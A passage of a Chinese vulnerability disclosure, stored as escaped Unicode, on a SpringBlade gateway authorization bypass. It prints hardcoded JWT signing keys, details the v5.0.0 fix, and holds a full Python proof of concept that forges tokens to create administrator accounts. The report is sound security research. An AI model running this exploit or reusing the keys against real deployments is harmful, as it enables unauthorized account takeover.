\u6301\u4e45\u5316\u653b\u51fb\u8005\u53ef\u63a7\u7684\u7528\u6237\u5bf9\u8c61\u3002\n\n&amp;gt; \u6b63\u5e38\u7684\u5916\u90e8\u7ba1\u7406\u5458\u521b\u5efa\u7528\u6237\u8d70 `UserController.submit`\uff0c\u5176\u4e2d\u5305\u542b\u4e25\u683c\u7684 admin \u6743\u9650\u3001\u79df\u6237\u7ed1\u5b9a\u548c\u5bc6\u7801\u52a0\u5bc6\uff1b\u800c\u653b\u51fb\u8005\u7ecf\u7f51\u5173\u76f4\u8fbe**\u672a\u52a0\u4efb\u4f55\u9632\u7ebf**\u7684 `UserClient.saveUser`\uff0c\u8df3\u8fc7\u4e86\u5168\u90e8\u4e1a\u52a1\u5b89\u5168\u5c4f\u969c\uff0c\u6570\u636e\u76f4\u63a5\u5199\u5e93\u3002\n\n---\n\n## 6. \u4ee3\u7801\u8bc1\u636e\uff08\u6309\u7248\u672c\u7cbe\u786e\u6807\u6ce8\uff09\n\n&amp;gt; \u6e90\u7801\u4ed3\u5e93\uff1aGitee `https://gitee.com/smallc/SpringBlade.git`\uff08GitHub \u955c\u50cf `https://github.com/chillzhuang/SpringBlade.git`\uff09\n&amp;gt; \u53d7\u5f71\u54cd\u7248\u672c tag\uff08v4.10.0\uff09\uff1a`3002202ed38ca0eed0bbf1f69d33fd056ef6b515`\uff082026-05-10\uff09\n\n### 6.1 \u7f51\u5173\uff1a\u8def\u5f84\u91cd\u5199\uff08`RequestFilter`\uff09\n\n\u6587\u4ef6\uff1a`blade-gateway/src/main/java/org/springblade/gateway/filter/RequestFilter.java`\uff08**v3.0.2 \u5f15\u5165\uff0cv3.1.0\u3001v4.10.0 \u5747\u5b58\u5728\uff1b2.7.3 ~ v3.0.1 \u65e0\u6b64\u6587\u4ef6\uff0c\u4f46 locator \u9ed8\u8ba4 `RewritePath` \u8fc7\u6ee4\u5668\u5b8c\u6210\u7b49\u6548\u5265\u79bb\uff0c\u89c1 \u00a72.1**\uff09\n\n```java\nString rawPath = request.getURI().getRawPath();\nString newPath = \"/\" + Arrays.stream(StringUtils.tokenizeToStringArray(rawPath, \"/\"))\n    .skip(1L)                                              // [v4.10.0:32] \u53bb\u6389\u7b2c 1 \u4e2a\u8def\u5f84\uff08\u670d\u52a1\u540d\uff09\n    .collect(Collectors.joining(\"/\"));                     // [v3.1.0:32]\n```\n\n\u2192 \u5916\u90e8 `/blade-system/user/save-user` \u88ab\u6539\u5199\u4e3a\u4e0b\u6e38 `/user/save-user`\u3002\n\n### 6.2 \u7f51\u5173\uff1a\u9274\u6743\u4ec5\u9a8c JWT\uff08`AuthFilter`\uff09\n\n\u6587\u4ef6\uff1a`blade-gateway/src/main/java/org/springblade/gateway/filter/AuthFilter.java`\uff08**v3.1.0 / v4.10.0 \u76f8\u540c**\uff09\n\n```java\nString headerToken = exchange.getRequest().getHeaders().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:67]\nString paramToken  = exchange.getRequest().getQueryParams().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:68]\n...\nClaims claims = JwtUtil.parseJWT(token);      // [v4.10.0:78] \u4ec5\u89e3\u6790 JWT\nif (claims == null) {\n    return unAuth(resp, \"\u8bf7\u6c42\u672a\u6388\u6743\");          // [v4.10.0:79] \u53ea\u8981\u89e3\u6790\u6210\u529f\u5373\u653e\u884c\n}\nreturn chain.filter(exchange);\n```\n\n\u2192 **\u53ea\u6821\u9a8c\"Token \u80fd\u5426\u89e3\u6790\"**\uff0c\u4e0d\u505a\u89d2\u8272 / \u5185\u90e8\u63a5\u53e3 / \u670d\u52a1\u8eab\u4efd\u6821\u9a8c\uff0c\u4e5f\u4e0d\u6821\u9a8c `tenant_id`\u3001`role_id`\u3001`role_name` \u7b49 `claims` \u5b57\u6bb5\u4e0e\u5b9e\u9645\u6570\u636e\u5e93\u8bb0\u5f55\u7684\u5339\u914d\u5173\u7cfb\uff08\u4ec5\u7b7e\u540d\u68c0\u67e5\uff0c\u4e0d\u505a\u8bed\u4e49\u6821\u9a8c\uff09\u3002\n\n### 6.3 \u4e0b\u6e38\uff1aFeign \u5b9e\u73b0\u628a\u5185\u90e8\u5199\u63a5\u53e3\u66b4\u9732\u4e3a\u65e0\u4fdd\u62a4\u7684 HTTP\uff08`UserClient`\uff09\n\n\u6587\u4ef6\uff08\u6309\u7248\u672c\uff09\uff1a\n- `blade-service/blade-user/src/main/java/.../system/user/feign/UserClient.java`\uff082.7.3 ~ 4.1.0\uff0c\u542b v3.1.0\uff09\n- `blade-service/blade-system/src/main/java/.../system/feign/UserClient.java`\uff08v4.2.0 ~ v4.10.0\uff0c`blade-user` \u6a21\u5757\u4e8e v4.2.0 \u5e76\u5165 `blade-system`\uff09\n\n```java\n@Hidden                          // SpringDoc/Swagger \u6ce8\u89e3\uff1a\u4ec5\u9690\u85cf API \u6587\u6863\uff0c\u4e0d\u5f71\u54cd Spring MVC \u8def\u7531\u6ce8\u518c\n@RestController                  // [v4.10.0:36] / [v3.1.0:33] \u540c\u65f6\u662f REST Controller\uff08\u5916\u90e8\u53ef\u8fbe\uff09\n@AllArgsConstructor\npublic class UserClient implements IUserClient {\n\n    private IUserService service;\n\n    @Override\n    @PostMapping(API_PREFIX + \"/user/save-user\")           // [v4.10.0:60] / [v3.1.0:57]\n    public R saveUser(User user) {\n        return R.data(service.save(user));                 // [v4.10.0:61-62 / v3.1.0:59] \u76f4\u63a5\u6301\u4e45\u5316\uff0c\u65e0 @PreAuth\n    }\n}\n```\n\n&amp;gt; **\u5173\u952e\uff1a\u4e0d\u6b63\u786e\u7684 `@Hidden` \u4f7f\u7528**\u3002`@Hidden` \u662f springdoc-openapi \u6ce8\u89e3\uff0c\u4f5c\u7528\u53ea\u662f\u628a\u8be5 Controller \u4ece Swagger/OpenAPI \u6587\u6863\u4e2d\u9690\u85cf\u2014\u2014**\u5b83\u5e76\u6ca1\u6709\u963b\u6b62 Spring MVC \u628a `UserClient` \u6ce8\u518c\u6210 HTTP \u8def\u7531**\u3002\u53ef\u89c1\u4ee3\u7801\u4f5c\u8005\u610f\u56fe\u662f\"\u5185\u90e8 Feign \u5b9e\u73b0\"\uff0c\u4f46 **`@RestController` \u4f7f\u5176\u5bf9**\u5916\u90e8 HTTP \u53ef\u8fbe\u3001\u4e14\u5168\u90e8\u8def\u7531\u7ee7\u627f\u81ea `IUserClient`\uff08\u5bf9\u5916\u63a5\u53e3\uff09\u3002\u8fd9\u662f\u5178\u578b\u7684\"\u5b9e\u73b0\u4e0e\u610f\u56fe\u4e0d\u4e00\u81f4\"\u5bfc\u81f4\u7684\u6f0f\u6d1e\u3002\n\n\u5bf9\u5e94 Feign \u63a5\u53e3\uff08\u540c\u7248\u672c\uff09\uff1a`blade-service-api/blade-user-api/.../feign/IUserClient.java`\n```java\nString API_PREFIX = \"/user\";                              // [v4.10.0:41] / [v3.1.0:41]\n@PostMapping(API_PREFIX + \"/save-user\")                   // [v4.10.0:78]\nR saveUser(@RequestBody User user);              // [v4.10.0:79] \u66b4\u9732\u4e3a\u5916\u90e8 HTTP \u5165\u53e3\n```\n\n### 6.4 \u5404\u7248\u672c JWT \u7b7e\u540d\u5bc6\u94a5\u60c5\u51b5\uff08\u5f71\u54cd\u5229\u7528\u95e8\u69db\uff09\n\n- **2.7.3**\uff1a`TokenConstant.SIGN_KEY` \u786c\u7f16\u7801\u4e3a `\"Blade\"`\uff08`blade-core-launch-2.7.3.jar`\uff0c\u5df2\u53cd\u7f16\u8bd1\u6838\u5b9e\uff09\u3002\n- **2.8.0 ~ v3.5.0**\uff1a`TokenConstant.SIGN_KEY` \u786c\u7f16\u7801\u4e3a\u4e0b\u8ff0\u957f\u4e32\uff0c\u7f51\u5173 `JwtUtil.parseJWT` \u76f4\u63a5\u5f15\u7528\u8be5\u5e38\u91cf\u3001**\u4e0d\u968f\u4efb\u4f55\u914d\u7f6e\u53d8\u5316**\uff08v3.1.0 \u7f51\u5173 `JwtUtil.java:32/36/64` \u5df2\u6838\u5b9e\uff09\uff1a\n\n```java\nSIGN_KEY = \"bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject\";\nBASE64_SECURITY = Base64.encode(SIGN_KEY.getBytes(UTF_8));   // \u7528\u4f5c HMAC-SHA256 \u7684 key\n```\n\n- **v3.6.0 ~ v4.10.0**\uff1a\u6539\u4e3a\u4ece\u914d\u7f6e\u9879 `blade.token.sign-key` \u8bfb\u53d6\uff08\u7f51\u5173 `JwtProperties`\uff0c`getSignKey()` \u5f3a\u5236\u957f\u5ea6 \u226532\uff0c\u5426\u5219\u542f\u52a8\u629b `JwtException(\"\u8bf7\u914d\u7f6e blade.token.sign-key \u7684\u503c, \u957f\u5ea632\u4f4d\u4ee5\u4e0a\")`\uff09\u3002\n\n\u2192 \u5bf9 2.7.3 ~ v3.5.0\uff0c\u653b\u51fb\u8005\u76f4\u63a5\u4ece\u516c\u5f00 JAR \u63d0\u53d6\u5bc6\u94a5\u5373\u53ef\u4f2a\u9020\u4efb\u610f\u89d2\u8272 JWT\uff0c**\u65e0\u9700\u4efb\u4f55\u5408\u6cd5\u8d26\u53f7**\uff1b\u5bf9 v3.6.0 \u8d77\u7684\u7248\u672c\uff0c\u5219\u9700\u6301\u6709\u4efb\u610f\u4e00\u4e2a\u771f\u5b9e\u4f4e\u6743\u9650 JWT\uff08\u6216\u83b7\u77e5\u90e8\u7f72\u65b9\u81ea\u914d\u7684 sign-key\uff09\u3002\n\n---\n\n## 7. \u4fee\u590d\u60c5\u51b5\n\n\u8be5\u6f0f\u6d1e\u5df2\u5728 **`v5.0.0` \u6b63\u5f0f\u4fee\u590d**\uff0c\u4fee\u590d\u5bf9\u5e94\u7684**\u5355\u4e00\u63d0\u4ea4**\uff1a\n\n- **\u63d0\u4ea4 / tag**\uff1a`c69b9547c942c697da2f3ee6a9265b6004abd645`\uff08tag `v5.0.0`\uff09\n- **\u63d0\u4ea4\u4fe1\u606f**\uff1a`5.0.0.RELEASE \u91cd\u6784\u5347\u7ea7 SpringBoot4 SpringCloud2025 JDK21 TypeScript`\n- **\u65e5\u671f**\uff1a`2026-07-30`\n- \u8be5\u63d0\u4ea4\u540c\u65f6\u5b8c\u6210\u5982\u4e0b**\u4e09\u5904\u4fee\u590d**\uff08\u5bf9\u5e94\u672c\u6f0f\u6d1e\u4e09\u4e2a\u6839\u56e0\uff09\uff1a\n  1. **\u79fb\u9664 `UserClient.saveUser` \u5199\u63a5\u53e3**\uff08`UserClient.java` + `IUserClient.java` \u4e00\u5e76\u5220\u9664 `saveUser`\uff09\u2014\u2014\u5f7b\u5e95\u5220\u9664\u670d\u52a1\u9274\u6743\u7ed5\u8fc7\u843d\u5730\u5165\u53e3\uff1b\n  2. **Feign \u5185\u90e8\u63a5\u53e3\u8def\u5f84\u6536\u7d27**\uff1a`API_PREFIX` \u7531 `/user` \u6539\u4e3a `/feign/client/user`\uff08`IUserClient.java`\uff09\uff0c\u4e0e\u5916\u90e8\u4e1a\u52a1\u63a5\u53e3\u9694\u79bb\uff1b\n  3. **\u7f51\u5173\u65b0\u589e\u5185\u90e8\u63a5\u53e3\u62e6\u622a**\uff1a\u65b0\u589e `blade-gateway/.../filter/InnerFilter.java`\uff0c\u5bf9\u539f\u59cb\u8def\u5f84\u5f52\u4e00\u5316\u540e\u82e5\u547d\u4e2d\u4fdd\u7559\u6bb5 `feign/client`\uff0c\u4e00\u5f8b\u8fd4\u56de `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3`\uff08`{\"msg\":\"\u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3\",\"code\":403}`\uff09\uff0c\u4e0e\u4ee4\u724c\u662f\u5426\u6709\u6548\u65e0\u5173\u3002\n\n&amp;gt; \u7ed3\u8bba\uff1a**\u53d7\u5f71\u54cd\u7684\u7248\u672c\u9700\u5347\u7ea7\u81f3 v5.0.0 \u53ca\u4ee5\u4e0a**\uff1bv5.0.1 \u53ca\u6700\u65b0 master \u5747\u5df2\u5305\u542b\u8be5\u4fee\u590d\uff08\u5df2\u9759\u6001\u6838\u5b9e `saveUser` \u79fb\u9664\u3001`API_PREFIX` \u53d8\u66f4\u4e0e `InnerFilter` \u4e09\u8005\u5747\u5b58\u5728\uff09\u3002\n\n---\n\n## 8. \u590d\u73b0\u6b65\u9aa4\u4e0e\u9a8c\u8bc1\uff08\u5b8c\u6574 PoC\uff09\n\n### 8.1 \u9a8c\u8bc1\u6458\u8981\n\n| \u4f4e\u6743\u9650 JWT \u6253\u5185\u90e8\u5199\u63a5\u53e3 | 2.7.3 | v3.0.0 | v3.1.0 | v4.10.0 | v5.0.x |\n|---|---|---|---|---|---|\n| \u65e0 token | `401`\uff08\u5b9e\u6d4b\uff09 | `401`\uff08\u5b9e\u6d4b\uff09 | `401`\uff08\u5b9e\u6d4b\uff09 | `401`\uff08\u5b9e\u6d4b\uff09 | `401` |\n| **\u4f4e\u6743\u9650 JWT \u6253 `/save-user`** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | **`200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff08\u5b9e\u6d4b\uff09** | `404` \u63a5\u53e3\u4e0d\u5b58\u5728\uff08\u9759\u6001\u6838\u5b9e\uff09 |\n| \u6570\u636e\u5e93\u843d\u5e93\uff08\u660e\u6587\u5bc6\u7801 + administrator \u89d2\u8272\uff09 | \u2705 | \u2705 | \u2705 | \u2705 | \u274c \u65e0\u5199\u5165 |\n| \u4f2a\u9020 JWT \u6240\u7528\u5bc6\u94a5 | `\"Blade\"`\uff08\u786c\u7f16\u7801\uff09 | \u957f\u4e32\u786c\u7f16\u7801\uff08\u00a76.4\uff09 | \u957f\u4e32\u786c\u7f16\u7801\uff08\u00a76.4\uff09 | \u81ea\u914d sign-key | \u2014 |\n| \u5bf9\u7167\u7ec4 `/user/submit`\uff08\u9700\u7ba1\u7406\u5458\uff09 | \u2014 | \u2014 | \u2014 | `401` \u88ab\u62d2\uff08\u5b9e\u6d4b\uff09 | \u2014 |\n| \u5185\u90e8 `/feign/...` \u8bbf\u95ee | \u53ef\u8fbe | \u53ef\u8fbe | \u53ef\u8fbe | \u53ef\u8fbe | `403` \u62e6\u622a\uff08\u9759\u6001\u6838\u5b9e\uff09 |\n\n&amp;gt; \u6ce8\uff1av3.0.0 \u7f51\u5173**\u6ca1\u6709** `RequestFilter`\uff0c\u4ecd\u590d\u73b0\u6210\u529f\u2014\u2014\u8bc1\u660e discovery locator \u9ed8\u8ba4 `RewritePath` \u8fc7\u6ee4\u5668\u5373\u53ef\u5b8c\u6210\u8def\u5f84\u5265\u79bb\uff08\u89c1 \u00a72.1\uff09\u3002\n\n### 8.2 Python PoC\uff08\u811a\u672c\u4e00\uff09\uff1a\u7f51\u5173\u76f4\u8fbe\u5185\u90e8\u63a5\u53e3 + \u5bf9\u7167\u7ec4 + \u6570\u636e\u5e93\u843d\u5e93\u9a8c\u8bc1\n\n\u4ee5\u4e0b PoC \u4f7f\u7528 Python \u6807\u51c6\u5e93\uff0c\u76f4\u63a5\u5411\u8fd0\u884c\u4e2d\u7684\u53d7\u5bb3\u7f51\u5173\u53d1\u9001\u771f\u5b9e HTTP \u8bf7\u6c42\u3002\u811a\u672c\u4f9d\u6b21\u6267\u884c\u4e09\u7ec4\u9a8c\u8bc1\u3002\u811a\u672c**\u4e0d\u4f9d\u8d56\u4efb\u4f55\u7b2c\u4e09\u65b9\u5305**\u2014\u2014JWT \u7528\u6807\u51c6\u5e93 HMAC-SHA256 \u6784\u9020\uff08\u4f2a\u9020\u4f4e\u6743\u9650 user \u89d2\u8272\u4ee4\u724c\uff09\uff0cHTTP \u7528 `urllib`\uff0c\u6570\u636e\u5e93\u9a8c\u8bc1\u901a\u8fc7 `docker exec mysql`\u3002\u811a\u672c**\u9ed8\u8ba4\u8d26\u53f7 `poc_report_`\u3001\u9ed8\u8ba4\u5bc6\u7801 `poc-report-plain`**\uff0c\u5747\u4e3a\u5b89\u5168 ASCII\uff08`SAFE_ACCOUNT` \u6b63\u5219\u5f3a\u6821\u9a8c\uff0cSQL \u6ce8\u5165\u98ce\u9669\u4e3a\u96f6\uff09\u3002\n\n1. **\u65e0 token \u5bf9\u7167**\uff1a`POST &amp;lt;\u524d\u7f00&amp;gt;/user/save-user`\uff08\u671f\u671b `401`\uff0c\u8bc1\u660e\u7f51\u5173\u9274\u6743\u751f\u6548\uff09\uff1b\n2. **\u5229\u7528\u8bf7\u6c42**\uff1a\u643a\u5e26**\u4f2a\u9020\u7684\u4f4e\u6743\u9650\uff08user \u89d2\u8272\uff09JWT** \u6253\u540c\u4e00\u5185\u90e8\u5199\u63a5\u53e3\uff08\u671f\u671b `200` \u6210\u529f\u5efa\u7ba1\u7406\u5458\uff09\uff1b\n3. **\u7ba1\u63a7\u9762\u5bf9\u7167**\uff08`POC_CHECK_SUBMIT_CONTROL=1` \u65f6\uff09\uff1a\u540c\u4e00 JWT \u6253 `UserController.submit`\uff08`@PreAuth(HAS_ROLE_ADMIN)`\uff09\uff0c\u671f\u671b\u88ab\u62d2\uff0c\u8bc1\u660e\u8d8a\u6743\u662f\u7ed5\u8fc7\u4e86\u7ba1\u63a7\u9762\u6821\u9a8c\uff1b\n4. **\u6570\u636e\u5e93\u843d\u5e93\u9a8c\u8bc1**\uff1a\u901a\u8fc7 `docker exec` \u67e5\u8be2 MySQL `blade.blade_user`\uff0c\u6838\u5bf9\u8d26\u53f7\u4e0e**\u660e\u6587\u5bc6\u7801**\u843d\u5e93\u3002\n\n\u6240\u6709\u53c2\u6570\u5747\u53ef\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u8986\u76d6\u3002`&amp;lt;\u524d\u7f00&amp;gt;` \u968f\u7248\u672c\u53d8\u5316\uff1a2.7.3 ~ 4.1.0 \u4e3a `/blade-user`\uff0cv4.2.0 \u8d77\u4e3a `/blade-system`\uff08\u89c1 \u00a72.2\uff09\u3002\u811a\u672c\u4e00\u73af\u5883\u53d8\u91cf\u5b8c\u6574\u5217\u8868\uff1a\n\n| \u7c7b\u522b | \u53d8\u91cf | \u9ed8\u8ba4\u503c | \u8bf4\u660e |\n|---|---|---|---|\n| \u76ee\u6807 | `POC_GATEWAY_URL` | `http://127.0.0.1:18080` | \u53d7\u5bb3\u7f51\u5173\u5730\u5740 |\n| \u76ee\u6807 | `POC_PATH_PREFIX` | `/blade-system` | \u7248\u672c\u5bf9\u5e94\u7684\u8def\u7531\u524d\u7f00 |\n| \u5bc6\u94a5 | `POC_SIGN_KEY` | \uff08\u5fc5\u586b\uff09 | JWT \u4f2a\u9020\u5bc6\u94a5\uff08\u00a76.4\uff09 |\n| \u6570\u636e | `POC_ACCOUNT` / `POC_PASSWORD` / `POC_TENANT_ID` / `POC_ROLE_ID` / `POC_DEPT_ID` / `POC_POST_ID` | `poc_report_` / `poc-report-plain` / `000000` / `1123598816738675201` / `1123598813738675201` / `1123598817738675201` | \u843d\u5e93\u7528\u6237\u5b57\u6bb5 |\n| JWT claims | `POC_TOKEN_*` | \u89c1\u811a\u672c payload | \u4f2a\u9020\u7684\u4f4e\u6743\u9650 JWT \u5185\u90e8\u5b57\u6bb5 |\n| \u5bf9\u7167 | `POC_CHECK_SUBMIT_CONTROL` | `1` | \u662f\u5426\u8c03\u7528 `UserController.submit` \u505a\u62d2\u7edd\u5bf9\u7167 |\n| \u6570\u636e\u5e93 | `POC_SKIP_DB_CHECK` / `POC_MYSQL_CONTAINER` / `POC_MYSQL_USER` / `POC_MYSQL_PASSWORD` / `POC_MYSQL_DB` | `0` / `sb-mysql` / `root` / `root` / `blade` | \u8df3\u8fc7 DB \u9a8c\u8bc1 / docker exec \u8fde\u63a5 |\n| \u5176\u4ed6 | `POC_HTTP_TIMEOUT` | `20` | HTTP \u8d85\u65f6\uff08\u79d2\uff09 |\n\n```bash\n# v4.x \u73af\u5883\uff08\u7f51\u5173 18080\uff0c\u9700\u81ea\u914d \u226532 \u4f4d sign-key\uff0c\u524d\u7f00 /blade-system\uff09\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY='springblade-vuln-sign-key-20260528-32chars' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n\n# v3.x / 2.7.3 \u73af\u5883\uff08\u786c\u7f16\u7801\u5bc6\u94a5\uff0c\u524d\u7f00 /blade-user\uff0c\u89c1 \u00a76.4\uff09\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-user \\\nPOC_SIGN_KEY='bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n#  2.7.3 \u6539\u7528 POC_SIGN_KEY='Blade'\n```\n\n`poc/src/springblade_service_auth_bypass_poc.py`\uff08\u5b8c\u6574\u811a\u672c\uff09\uff1a\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for SpringBlade gateway-to-Feign service authorization bypass.\n\nThe script targets a running vulnerable SpringBlade deployment. It does not\nreimplement application logic; it sends the same external HTTP request that is\nrouted by the real gateway to the real user service (blade-user for\n2.7.3~4.1.0, blade-system for v4.2.0+).\n\"\"\"\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nDEFAULT_GATEWAY_URL = \"http://127.0.0.1:18080\"\n# v4.x: /blade-system  |  2.7.3 ~ 4.1.0: /blade-user\nDEFAULT_PATH_PREFIX = \"/blade-system\"\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\n\n\ndef env(name: str, default: str) -&amp;gt; str:\n    return os.environ.get(name, default)\n\n\ndef b64url(raw: bytes) -&amp;gt; str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef make_jwt(sign_key: str) -&amp;gt; str:\n    header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n    payload = {\n        \"token_type\": \"access_token\",\n        \"tenant_id\": env(\"POC_TOKEN_TENANT_ID\", \"000000\"),\n        \"user_id\": env(\"POC_TOKEN_USER_ID\", \"1123598821738675201\"),\n        \"role_id\": env(\"POC_TOKEN_ROLE_ID\", \"1123598816738675202\"),\n        \"dept_id\": env(\"POC_TOKEN_DEPT_ID\", \"1123598813738675201\"),\n        \"account\": env(\"POC_TOKEN_ACCOUNT\", \"lowuser\"),\n        \"user_name\": env(\"POC_TOKEN_USER_NAME\", \"lowuser\"),\n        \"role_name\": env(\"POC_TOKEN_ROLE_NAME\", \"user\"),\n        \"aud\": env(\"POC_TOKEN_AUD\", \"audience\"),\n        \"iss\": env(\"POC_TOKEN_ISS\", \"issuser\"),\n        \"exp\": int(time.time()) + int(env(\"POC_TOKEN_TTL_SECONDS\", \"3600\")),\n    }\n    signing = (\n        f\"{b64url(json.dumps(header, separators=(',', ':')).encode())}.\"\n        f\"{b64url(json.dumps(payload, separators=(',', ':')).encode())}\"\n    ).encode(\"ascii\")\n    signature = hmac.new(sign_key.encode(\"utf-8\"), signing, hashlib.sha256).digest()\n    return signing.decode(\"ascii\") + \".\" + b64url(signature)\n\n\ndef http_post_json(url: str, body: dict[str, str], token: str | None = None) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body).encode(\"utf-8\")\n    headers = {\"Content-Type\": \"application/json\"}\n    if token:\n        headers[\"Blade-Auth\"] = f\"bearer {token}\"\n    request = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(request, timeout=float(env(\"POC_HTTP_TIMEOUT\", \"20\"))) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef mysql_query(sql: str) -&amp;gt; str:\n    container = env(\"POC_MYSQL_CONTAINER\", \"sb-mysql\")\n    user = env(\"POC_MYSQL_USER\", \"root\")\n    password = env(\"POC_MYSQL_PASSWORD\", \"root\")\n    cmd = [\n        \"docker\",\n        \"exec\",\n        container,\n        \"mysql\",\n        f\"-u{user}\",\n        f\"-p{password}\",\n        \"-N\",\n        \"-B\",\n        \"-e\",\n        sql,\n    ]\n    completed = subprocess.run(cmd, check=False, text=True, capture_output=True)\n    if completed.returncode != 0:\n        raise RuntimeError(completed.stderr.strip() or completed.stdout.strip())\n    return completed.stdout.strip()\n\n\ndef require_safe_account(account: str) -&amp;gt; None:\n    if not SAFE_ACCOUNT.match(account):\n        raise ValueError(f\"Unsafe account value for SQL verification: {account!r}\")\n\n\ndef main() -&amp;gt; int:\n    gateway_url = env(\"POC_GATEWAY_URL\", DEFAULT_GATEWAY_URL).rstrip(\"/\")\n    path_prefix = env(\"POC_PATH_PREFIX\", DEFAULT_PATH_PREFIX)\n    sign_key = env(\"POC_SIGN_KEY\", \"\")\n    account = env(\"POC_ACCOUNT\", f\"poc_report_{int(time.time())}\")\n    password = env(\"POC_PASSWORD\", \"poc-report-plain\")\n    tenant_id = env(\"POC_TENANT_ID\", \"000000\")\n    role_id = env(\"POC_ROLE_ID\", \"1123598816738675201\")\n    dept_id = env(\"POC_DEPT_ID\", \"1123598813738675201\")\n    post_id = env(\"POC_POST_ID\", \"1123598817738675201\")\n    db_name = env(\"POC_MYSQL_DB\", \"blade\")\n\n    if not sign_key:\n        print(\"[!] POC_SIGN_KEY is required\", file=sys.stderr)\n        return 2\n\n    require_safe_account(account)\n    token = make_jwt(sign_key)\n    save_user_url = f\"{gateway_url}{path_prefix}/user/save-user\"\n    submit_url = f\"{gateway_url}{path_prefix}/user/submit\"\n    body = {\n        \"tenantId\": tenant_id,\n        \"account\": account,\n        \"password\": password,\n        \"name\": \"poc\",\n        \"realName\": \"poc\",\n        \"roleId\": role_id,\n        \"deptId\": dept_id,\n        \"postId\": post_id,\n    }\n\n    print(f\"[*] Gateway URL: {gateway_url}\")\n    print(f\"[*] Target: {save_user_url}\")\n    print(f\"[*] PoC account: {account}\")\n\n    no_token_status, no_token_body = http_post_json(save_user_url, body)\n    print(f\"[*] No-token control status: {no_token_status}\")\n    print(f\"[*] No-token control body: {no_token_body}\")\n\n    exploit_status, exploit_body = http_post_json(save_user_url, body, token)\n    print(f\"[*] Exploit status: {exploit_status}\")\n    print(f\"[*] Exploit body: {exploit_body}\")\n    if exploit_status != 200:\n        print(\"[!] Exploit request did not return HTTP 200\", file=sys.stderr)\n        return 1\n\n    if env(\"POC_CHECK_SUBMIT_CONTROL\", \"1\") == \"1\":\n        submit_account = f\"{account}_submit\"\n        submit_body = dict(body)\n        submit_body[\"account\"] = submit_account\n        submit_status, submit_response = http_post_json(submit_url, submit_body, token)\n        print(f\"[*] Admin submit control status: {submit_status}\")\n        print(f\"[*] Admin submit control body: {submit_response}\")\n\n    if env(\"POC_SKIP_DB_CHECK\", \"0\") == \"1\":\n        print(\"[*] Database verification skipped by POC_SKIP_DB_CHECK=1\")\n        return 0\n\n    sql = (\n        \"SELECT id,tenant_id,account,password,role_id,dept_id,post_id,status,is_deleted \"\n        f\"FROM {db_name}.blade_user WHERE account='{account}'\"\n    )\n    row = mysql_query(sql)\n    print(\"[*] Database row:\")\n    print(row)\n    if not row:\n        print(\"[!] Database row was not created\", file=sys.stderr)\n        return 1\n    fields = row.split(\"\\t\")\n    if len(fields) &amp;lt; 9 or fields[2] != account or fields[3] != password:\n        print(\"[!] Database row does not match the expected account/password\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Vulnerability reproduced: low-privilege JWT reached /user/save-user and created a user.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### 8.3 Python PoC\uff08\u811a\u672c\u4e8c\uff09\uff1a\u7ecf\u524d\u7aef `/api` \u4ee3\u7406\u521b\u5efa**\u53ef\u767b\u5f55**\u7684\u7ba1\u7406\u5458\n\n\u811a\u672c\u4e00\u843d\u5730\u7684\u662f**\u660e\u6587\u5bc6\u7801**\uff08\u56e0\u4e3a `saveUser` \u8df3\u8fc7\u4e86 `DigestUtil.encrypt`\uff09\uff0c\u843d\u5e93\u540e\u5373\u6210\u4e3a\u300c\u5bc6\u7801\u4e0d\u53ef\u7528\u4e8e\u6b63\u5e38\u767b\u5f55\u300d\u7684\u540e\u95e8\u8d26\u53f7\u3002\u811a\u672c\u4e8c\u9762\u5411**\u771f\u5b9e\u90e8\u7f72\u5f62\u6001**\uff08\u524d\u7aef\u7ecf `/api` \u4ee3\u7406\u8f6c\u53d1\u5230\u7f51\u5173\uff09\uff0c\u590d\u73b0\u540c\u4e00\u6f0f\u6d1e\uff0c\u4f46\u505a\u4e86\u4e24\u70b9\u6539\u8fdb\uff0c\u5b8c\u5584\u4e86\"\u53ef\u6267\u884c\u7684\u63d0\u6743\u95ed\u73af\"\uff1a\n\n1. **\u590d\u73b0\u5bc6\u7801\u52a0\u5bc6\u903b\u8f91**\uff1a\u672c\u5730\u8ba1\u7b97 `DigestUtil.encrypt(plaintext)`\uff08`sha1(md5(plaintext))`\uff09\u540e\u5199\u5165 `password` 